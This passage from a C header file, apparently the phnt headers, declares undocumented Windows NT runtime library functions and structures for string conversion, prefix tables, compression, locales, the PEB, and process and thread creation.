);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeToCustomCPN(\n _In_ PCPTABLEINFO CustomCP,\n _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString,\n _In_ ULONG MaxBytesInCustomCPString,\n _Out_opt_ PULONG BytesInCustomCPString,\n _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,\n _In_ ULONG BytesInUnicodeString\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitCodePageTable(\n _In_ PUSHORT TableBase,\n _Out_ PCPTABLEINFO CodePageTable\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitNlsTables(\n _In_ PUSHORT AnsiNlsBase,\n _In_ PUSHORT OemNlsBase,\n _In_ PUSHORT LanguageNlsBase,\n _Out_ PNLSTABLEINFO TableInfo // PCPTABLEINFO?\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlResetRtlTranslations(\n _In_ PNLSTABLEINFO TableInfo\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsTextUnicode(\n _In_ PVOID Buffer,\n _In_ ULONG Size,\n _Inout_opt_ PULONG Result\n );\n\ntypedef enum _RTL_NORM_FORM\n{\n NormOther = 0x0,\n NormC = 0x1,\n NormD = 0x2,\n NormKC = 0x5,\n NormKD = 0x6,\n NormIdna = 0xd,\n DisallowUnassigned = 0x100,\n NormCDisallowUnassigned = 0x101,\n NormDDisallowUnassigned = 0x102,\n NormKCDisallowUnassigned = 0x105,\n NormKDDisallowUnassigned = 0x106,\n NormIdnaDisallowUnassigned = 0x10d\n} RTL_NORM_FORM;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNormalizeString(\n _In_ ULONG NormForm, // RTL_NORM_FORM\n _In_ PCWSTR SourceString,\n _In_ LONG SourceStringLength,\n _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString,\n _Inout_ PLONG DestinationStringLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIsNormalizedString(\n _In_ ULONG NormForm, // RTL_NORM_FORM\n _In_ PCWSTR SourceString,\n _In_ LONG SourceStringLength,\n _Out_ PBOOLEAN Normalized\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// ntifs:FsRtlIsNameInExpression\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsNameInExpression(\n _In_ PUNICODE_STRING Expression,\n _In_ PUNICODE_STRING Name,\n _In_ BOOLEAN IgnoreCase,\n _In_opt_ PWCH UpcaseTable\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE4)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsNameInUnUpcasedExpression(\n _In_ PUNICODE_STRING Expression,\n _In_ PUNICODE_STRING Name,\n _In_ BOOLEAN IgnoreCase,\n _In_opt_ PWCH UpcaseTable\n );\n#endif\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualDomainName(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualComputerName(\n _In_ PUNICODE_STRING String1,\n _In_ PUNICODE_STRING String2\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDnsHostNameToComputerName(\n _Out_ PUNICODE_STRING ComputerNameString,\n _In_ PUNICODE_STRING DnsHostNameString,\n _In_ BOOLEAN AllocateComputerNameString\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlStringFromGUID(\n _In_ PGUID Guid,\n _Out_ PUNICODE_STRING GuidString\n );\n\n#if (PHNT_VERSION >= PHNT_WINBLUE)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlStringFromGUIDEx(\n _In_ PGUID Guid,\n _Inout_ PUNICODE_STRING GuidString,\n _In_ BOOLEAN AllocateGuidString\n );\n\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGUIDFromString(\n _In_ PUNICODE_STRING GuidString,\n _Out_ PGUID Guid\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareAltitudes(\n _In_ PUNICODE_STRING Altitude1,\n _In_ PUNICODE_STRING Altitude2\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIdnToAscii(\n _In_ ULONG Flags,\n _In_ PCWSTR SourceString,\n _In_ LONG SourceStringLength,\n _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString,\n _Inout_ PLONG DestinationStringLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIdnToUnicode(\n _In_ ULONG Flags,\n _In_ PCWSTR SourceString,\n _In_ LONG SourceStringLength,\n _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString,\n _Inout_ PLONG DestinationStringLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIdnToNameprepUnicode(\n _In_ ULONG Flags,\n _In_ PCWSTR SourceString,\n _In_ LONG SourceStringLength,\n _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString,\n _Inout_ PLONG DestinationStringLength\n );\n\n#endif\n\n// Prefix\n\ntypedef struct _PREFIX_TABLE_ENTRY\n{\n CSHORT NodeTypeCode;\n CSHORT NameLength;\n struct _PREFIX_TABLE_ENTRY *NextPrefixTree;\n RTL_SPLAY_LINKS Links;\n PSTRING Prefix;\n} PREFIX_TABLE_ENTRY, *PPREFIX_TABLE_ENTRY;\n\ntypedef struct _PREFIX_TABLE\n{\n CSHORT NodeTypeCode;\n CSHORT NameLength;\n PPREFIX_TABLE_ENTRY NextPrefixTree;\n} PREFIX_TABLE, *PPREFIX_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nPfxInitialize(\n _Out_ PPREFIX_TABLE PrefixTable\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nPfxInsertPrefix(\n _In_ PPREFIX_TABLE PrefixTable,\n _In_ PSTRING Prefix,\n _Out_ PPREFIX_TABLE_ENTRY PrefixTableEntry\n );\n\nNTSYSAPI\nVOID\nNTAPI\nPfxRemovePrefix(\n _In_ PPREFIX_TABLE PrefixTable,\n _In_ PPREFIX_TABLE_ENTRY PrefixTableEntry\n );\n\nNTSYSAPI\nPPREFIX_TABLE_ENTRY\nNTAPI\nPfxFindPrefix(\n _In_ PPREFIX_TABLE PrefixTable,\n _In_ PSTRING FullName\n );\n\ntypedef struct _UNICODE_PREFIX_TABLE_ENTRY\n{\n CSHORT NodeTypeCode;\n CSHORT NameLength;\n struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree;\n struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch;\n RTL_SPLAY_LINKS Links;\n PUNICODE_STRING Prefix;\n} UNICODE_PREFIX_TABLE_ENTRY, *PUNICODE_PREFIX_TABLE_ENTRY;\n\ntypedef struct _UNICODE_PREFIX_TABLE\n{\n CSHORT NodeTypeCode;\n CSHORT NameLength;\n PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree;\n PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry;\n} UNICODE_PREFIX_TABLE, *PUNICODE_PREFIX_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeUnicodePrefix(\n _Out_ PUNICODE_PREFIX_TABLE PrefixTable\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlInsertUnicodePrefix(\n _In_ PUNICODE_PREFIX_TABLE PrefixTable,\n _In_ PUNICODE_STRING Prefix,\n _Out_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRemoveUnicodePrefix(\n _In_ PUNICODE_PREFIX_TABLE PrefixTable,\n _In_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry\n );\n\nNTSYSAPI\nPUNICODE_PREFIX_TABLE_ENTRY\nNTAPI\nRtlFindUnicodePrefix(\n _In_ PUNICODE_PREFIX_TABLE PrefixTable,\n _In_ PUNICODE_STRING FullName,\n _In_ ULONG CaseInsensitiveIndex\n );\n\nNTSYSAPI\nPUNICODE_PREFIX_TABLE_ENTRY\nNTAPI\nRtlNextUnicodePrefix(\n _In_ PUNICODE_PREFIX_TABLE PrefixTable,\n _In_ BOOLEAN Restart\n );\n\n// Compression\n\ntypedef struct _COMPRESSED_DATA_INFO\n{\n USHORT CompressionFormatAndEngine; // COMPRESSION_FORMAT_* and COMPRESSION_ENGINE_*\n\n UCHAR CompressionUnitShift;\n UCHAR ChunkShift;\n UCHAR ClusterShift;\n UCHAR Reserved;\n\n USHORT NumberOfChunks;\n\n ULONG CompressedChunkSizes[1];\n} COMPRESSED_DATA_INFO, *PCOMPRESSED_DATA_INFO;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetCompressionWorkSpaceSize(\n _In_ USHORT CompressionFormatAndEngine,\n _Out_ PULONG CompressBufferWorkSpaceSize,\n _Out_ PULONG CompressFragmentWorkSpaceSize\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCompressBuffer(\n _In_ USHORT CompressionFormatAndEngine,\n _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer,\n _In_ ULONG UncompressedBufferSize,\n _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) PUCHAR CompressedBuffer,\n _In_ ULONG CompressedBufferSize,\n _In_ ULONG UncompressedChunkSize,\n _Out_ PULONG FinalCompressedSize,\n _In_ PVOID WorkSpace\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressBuffer(\n _In_ USHORT CompressionFormat,\n _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer,\n _In_ ULONG UncompressedBufferSize,\n _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer,\n _In_ ULONG CompressedBufferSize,\n _Out_ PULONG FinalUncompressedSize\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressBufferEx(\n _In_ USHORT CompressionFormat,\n _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer,\n _In_ ULONG UncompressedBufferSize,\n _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer,\n _In_ ULONG CompressedBufferSize,\n _Out_ PULONG FinalUncompressedSize,\n _In_ PVOID WorkSpace\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressFragment(\n _In_ USHORT CompressionFormat,\n _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment,\n _In_ ULONG UncompressedFragmentSize,\n _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer,\n _In_ ULONG CompressedBufferSize,\n _In_range_(<, CompressedBufferSize) ULONG FragmentOffset,\n _Out_ PULONG FinalUncompressedSize,\n _In_ PVOID WorkSpace\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDescribeChunk(\n _In_ USHORT CompressionFormat,\n _Inout_ PUCHAR *CompressedBuffer,\n _In_ PUCHAR EndOfCompressedBufferPlus1,\n _Out_ PUCHAR *ChunkBuffer,\n _Out_ PULONG ChunkSize\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReserveChunk(\n _In_ USHORT CompressionFormat,\n _Inout_ PUCHAR *CompressedBuffer,\n _In_ PUCHAR EndOfCompressedBufferPlus1,\n _Out_ PUCHAR *ChunkBuffer,\n _In_ ULONG ChunkSize\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressChunks(\n _Out_writes_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer,\n _In_ ULONG UncompressedBufferSize,\n _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer,\n _In_ ULONG CompressedBufferSize,\n _In_reads_bytes_(CompressedTailSize) PUCHAR CompressedTail,\n _In_ ULONG CompressedTailSize,\n _In_ PCOMPRESSED_DATA_INFO CompressedDataInfo\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCompressChunks(\n _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer,\n _In_ ULONG UncompressedBufferSize,\n _Out_writes_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer,\n _In_range_(>=, (UncompressedBufferSize - (UncompressedBufferSize / 16))) ULONG CompressedBufferSize,\n _Inout_updates_bytes_(CompressedDataInfoLength) PCOMPRESSED_DATA_INFO CompressedDataInfo,\n _In_range_(>, sizeof(COMPRESSED_DATA_INFO)) ULONG CompressedDataInfoLength,\n _In_ PVOID WorkSpace\n );\n\n// Locale\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConvertLCIDToString(\n _In_ LCID LcidValue,\n _In_ ULONG Base,\n _In_ ULONG Padding, // string is padded to this width\n _Out_writes_(Size) PWSTR pResultBuf,\n _In_ ULONG Size\n );\n\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidLocaleName(\n _In_ PCWSTR LocaleName,\n _In_ ULONG Flags\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetParentLocaleName(\n _In_ PCWSTR LocaleName,\n _Inout_ PUNICODE_STRING ParentLocaleName,\n _In_ ULONG Flags,\n _In_ BOOLEAN AllocateDestinationString\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLcidToLocaleName(\n _In_ LCID lcid, // sic\n _Inout_ PUNICODE_STRING LocaleName,\n _In_ ULONG Flags,\n _In_ BOOLEAN AllocateDestinationString\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLocaleNameToLcid(\n _In_ PCWSTR LocaleName,\n _Out_ PLCID lcid,\n _In_ ULONG Flags\n );\n\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlLCIDToCultureName(\n _In_ LCID Lcid,\n _Inout_ PUNICODE_STRING String\n );\n\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCultureNameToLCID(\n _In_ PUNICODE_STRING String,\n _Out_ PLCID Lcid\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nRtlCleanUpTEBLangLists(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLocaleFileMappingAddress(\n _Out_ PVOID *BaseAddress,\n _Out_ PLCID DefaultLocaleId,\n _Out_ PLARGE_INTEGER DefaultCasingTableSize\n );\n\n#endif\n\n// PEB\n\nNTSYSAPI\nPPEB\nNTAPI\nRtlGetCurrentPeb(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlAcquirePebLock(\n VOID\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlReleasePebLock(\n VOID\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nLOGICAL\nNTAPI\nRtlTryAcquirePebLock(\n VOID\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateFromPeb(\n _In_ ULONG Size,\n _Out_ PVOID *Block\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFreeToPeb(\n _In_ PVOID Block,\n _In_ ULONG Size\n );\n\n// Processes\n\n#define DOS_MAX_COMPONENT_LENGTH 255\n#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5)\n\ntypedef struct _CURDIR\n{\n UNICODE_STRING DosPath;\n HANDLE Handle;\n} CURDIR, *PCURDIR;\n\n#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002\n#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n USHORT Flags;\n USHORT Length;\n ULONG TimeStamp;\n STRING DosPath;\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\n#define RTL_MAX_DRIVE_LETTERS 32\n#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\n{\n ULONG MaximumLength;\n ULONG Length;\n\n ULONG Flags;\n ULONG DebugFlags;\n\n HANDLE ConsoleHandle;\n ULONG ConsoleFlags;\n HANDLE StandardInput;\n HANDLE StandardOutput;\n HANDLE StandardError;\n\n CURDIR CurrentDirectory;\n UNICODE_STRING DllPath;\n UNICODE_STRING ImagePathName;\n UNICODE_STRING CommandLine;\n PVOID Environment;\n\n ULONG StartingX;\n ULONG StartingY;\n ULONG CountX;\n ULONG CountY;\n ULONG CountCharsX;\n ULONG CountCharsY;\n ULONG FillAttribute;\n\n ULONG WindowFlags;\n ULONG ShowWindowFlags;\n UNICODE_STRING WindowTitle;\n UNICODE_STRING DesktopInfo;\n UNICODE_STRING ShellInfo;\n UNICODE_STRING RuntimeData;\n RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n ULONG_PTR EnvironmentSize;\n ULONG_PTR EnvironmentVersion;\n PVOID PackageDependencyData;\n ULONG ProcessGroupId;\n ULONG LoaderThreads;\n\n UNICODE_STRING RedirectionDllName; // REDSTONE4\n UNICODE_STRING HeapPartitionName; // 19H1\n ULONG_PTR DefaultThreadpoolCpuSetMasks;\n ULONG DefaultThreadpoolCpuSetMaskCount;\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\n\n#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001\n#define RTL_USER_PROC_PROFILE_USER 0x00000002\n#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004\n#define RTL_USER_PROC_PROFILE_SERVER 0x00000008\n#define RTL_USER_PROC_RESERVE_1MB 0x00000020\n#define RTL_USER_PROC_RESERVE_16MB 0x00000040\n#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080\n#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100\n#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000\n#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000\n#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000\n#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateProcessParameters(\n _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,\n _In_ PUNICODE_STRING ImagePathName,\n _In_opt_ PUNICODE_STRING DllPath,\n _In_opt_ PUNICODE_STRING CurrentDirectory,\n _In_opt_ PUNICODE_STRING CommandLine,\n _In_opt_ PVOID Environment,\n _In_opt_ PUNICODE_STRING WindowTitle,\n _In_opt_ PUNICODE_STRING DesktopInfo,\n _In_opt_ PUNICODE_STRING ShellInfo,\n _In_opt_ PUNICODE_STRING RuntimeData\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateProcessParametersEx(\n _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,\n _In_ PUNICODE_STRING ImagePathName,\n _In_opt_ PUNICODE_STRING DllPath,\n _In_opt_ PUNICODE_STRING CurrentDirectory,\n _In_opt_ PUNICODE_STRING CommandLine,\n _In_opt_ PVOID Environment,\n _In_opt_ PUNICODE_STRING WindowTitle,\n _In_opt_ PUNICODE_STRING DesktopInfo,\n _In_opt_ PUNICODE_STRING ShellInfo,\n _In_opt_ PUNICODE_STRING RuntimeData,\n _In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyProcessParameters(\n _In_ _Post_invalid_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n );\n\nNTSYSAPI\nPRTL_USER_PROCESS_PARAMETERS\nNTAPI\nRtlNormalizeProcessParams(\n _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n );\n\nNTSYSAPI\nPRTL_USER_PROCESS_PARAMETERS\nNTAPI\nRtlDeNormalizeProcessParams(\n _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters\n );\n\ntypedef struct _RTL_USER_PROCESS_INFORMATION\n{\n ULONG Length;\n HANDLE ProcessHandle;\n HANDLE ThreadHandle;\n CLIENT_ID ClientId;\n SECTION_IMAGE_INFORMATION ImageInformation;\n} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserProcess(\n _In_ PUNICODE_STRING NtImagePathName,\n _In_ ULONG AttributesDeprecated,\n _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,\n _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\n _In_opt_ HANDLE ParentProcess,\n _In_ BOOLEAN InheritHandles,\n _In_opt_ HANDLE DebugPort,\n _In_opt_ HANDLE TokenHandle, // used to be ExceptionPort\n _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserProcessEx(\n _In_ PUNICODE_STRING NtImagePathName,\n _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,\n _In_ BOOLEAN InheritHandles,\n _Reserved_ ULONG Flags,\n _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nDECLSPEC_NORETURN\nNTSYSAPI\nVOID\nNTAPI\nRtlExitUserProcess(\n _In_ NTSTATUS ExitStatus\n );\n#else\n\n#define RtlExitUserProcess RtlExitUserProcess_R\n\nDECLSPEC_NORETURN\nFORCEINLINE VOID RtlExitUserProcess_R(\n _In_ NTSTATUS ExitStatus\n )\n{\n ExitProcess(ExitStatus);\n}\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// begin_rev\n#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001\n#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002\n#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects\n// end_rev\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCloneUserProcess(\n _In_ ULONG ProcessFlags,\n _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\n _In_opt_ HANDLE DebugPort,\n _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nRtlUpdateClonedCriticalSection(\n _Inout_ PRTL_CRITICAL_SECTION CriticalSection\n );\n\n// private\nNTSYSAPI\nVOID\nNTAPI\nRtlUpdateClonedSRWLock(\n _Inout_ PRTL_SRWLOCK SRWLock,\n _In_ LOGICAL Shared // TRUE to set to shared acquire\n );\n\n// private\ntypedef struct _RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION\n{\n HANDLE ReflectionProcessHandle;\n HANDLE ReflectionThreadHandle;\n CLIENT_ID ReflectionClientId;\n} RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION, *PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateProcessReflection(\n _In_ HANDLE ProcessHandle,\n _In_ ULONG Flags,\n _In_opt_ PVOID StartRoutine,\n _In_opt_ PVOID StartContext,\n _In_opt_ HANDLE EventHandle,\n _Out_opt_ PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation\n );\n#endif\n\n#endif\n\nNTSYSAPI\nNTSTATUS\nSTDAPIVCALLTYPE\nRtlSetProcessIsCritical(\n _In_ BOOLEAN NewValue,\n _Out_opt_ PBOOLEAN OldValue,\n _In_ BOOLEAN CheckFlag\n );\n\nNTSYSAPI\nNTSTATUS\nSTDAPIVCALLTYPE\nRtlSetThreadIsCritical(\n _In_ BOOLEAN NewValue,\n _Out_opt_ PBOOLEAN OldValue,\n _In_ BOOLEAN CheckFlag\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidProcessProtection(\n _In_ PS_PROTECTION ProcessProtection\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTestProtectedAccess(\n _In_ PS_PROTECTION Source,\n _In_ PS_PROTECTION Target\n );\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsCurrentProcess( // NtCompareObjects(NtCurrentProcess(), ProcessHandle)\n _In_ HANDLE ProcessHandle\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsCurrentThread( // NtCompareObjects(NtCurrentThread(), ThreadHandle)\n _In_ HANDLE ThreadHandle\n );\n#endif\n\n// Threads\n\ntypedef NTSTATUS (NTAPI *PUSER_THREAD_START_ROUTINE)(\n _In_ PVOID ThreadParameter\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserThread(\n _In_ HANDLE Process,\n _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\n _In_ BOOLEAN CreateSuspended,\n _In_opt_ ULONG ZeroBits,\n _In_opt_ SIZE_T MaximumStackSize,\n _In_opt_ SIZE_T CommittedStackSize,\n _In_ PUSER_THREAD_START_ROUTINE StartAddress,\n _In_opt_ PVOID Parameter,\n _Out_opt_ PHANDLE Thread,\n _Out_opt_ PCLIENT_ID ClientId\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA) // should be PHNT_WINXP, but is PHNT_VISTA for consistency with RtlExitUserProcess\nDECLSPEC_NORETURN\nNTSYSAPI\nVOID\nNTAPI\nRtlExitUserThread(\n _In_ NTSTATUS ExitStatus\n );\n#else\n\n#define RtlExitUserThread RtlExitUserThread_R\n\nDECLSPEC_NORETURN\nFORCEINLINE VOID RtlExitUserThread_R(\n _In_ NTSTATUS ExitStatus\n )\n{\n ExitThread(ExitStatus);\n}\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsCurrentThreadAttachExempt(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateUserStack(\n _In_opt_ SIZE_T CommittedStackSize,\n _In_opt_ SIZE_T MaximumStackSize,\n _In_opt_ ULONG_PTR ZeroBits,\n _In_ SIZE_T PageSize,\n _In_ ULONG_PTR ReserveAlignment,\n _Out_ PINITIAL_TEB InitialTeb\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFreeUserStack(\n _In_ PVOID AllocationBase\n );\n\n#endif\n\n// Extended thread context\n\ntypedef struct _CONTEXT_CHUNK \n{\n LONG Offset; // Offset may be negative.\n ULONG Length;\n} CONTEXT_CHUNK, *PCONTEXT_CHUNK;\n\ntypedef struct _CONTEXT_EX \n{\n CONTEXT_CHUNK All;\n CONTEXT_CHUNK Legacy;\n CONTEXT_CHUNK XState;\n} CONTEXT_EX, *PCONTEXT_EX;\n\n#define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), PAGE_SIZE)\n#define RTL_CONTEXT_EX_OFFSET(ContextEx, Chunk) ((ContextEx)->Chunk.Offset)\n#define RTL_CONTEXT_EX_LENGTH(ContextEx, Chunk) ((ContextEx)->Chunk.Length)\n#define RTL_CONTEXT_EX_CHUNK(Base, Layout, Chunk) ((PVOID)((PCHAR)(Base) + RTL_CONTEXT_EX_OFFSET(Layout, Chunk)))\n#define RTL_CONTEXT_OFFSET(Context, Chunk) RTL_CONTEXT_EX_OFFSET((PCONTEXT_EX)(Context + 1), Chunk)\n#define RTL_CONTEXT_LENGTH(Context, Chunk) RTL_CONTEXT_EX_LENGTH((PCONTEXT_EX)(Context + 1), Chunk)\n#define RTL_CONTEXT_CHUNK(Context, Chunk) RTL_CONTEXT_EX_CHUNK((PCONTEXT_EX)(Context + 1), (PCONTEXT_EX)(Context + 1), Chunk)\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeContext(\n _In_ HANDLE Process,\n _Out_ PCONTEXT Context,\n _In_opt_ PVOID Parameter,\n _In_opt_ PVOID InitialPc,\n _In_opt_ PVOID InitialSp\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlInitializeExtendedContext(\n _Out_ PCONTEXT Context,\n _In_ ULONG ContextFlags,\n _Out_ PCONTEXT_EX* ContextEx\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCopyExtendedContext(\n _Out_ PCONTEXT_EX Destination,\n _In_ ULONG ContextFlags,\n _In_ PCONTEXT_EX Source\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetExtendedContextLength(\n _In_ ULONG ContextFlags,\n _Out_ PULONG ContextLength\n 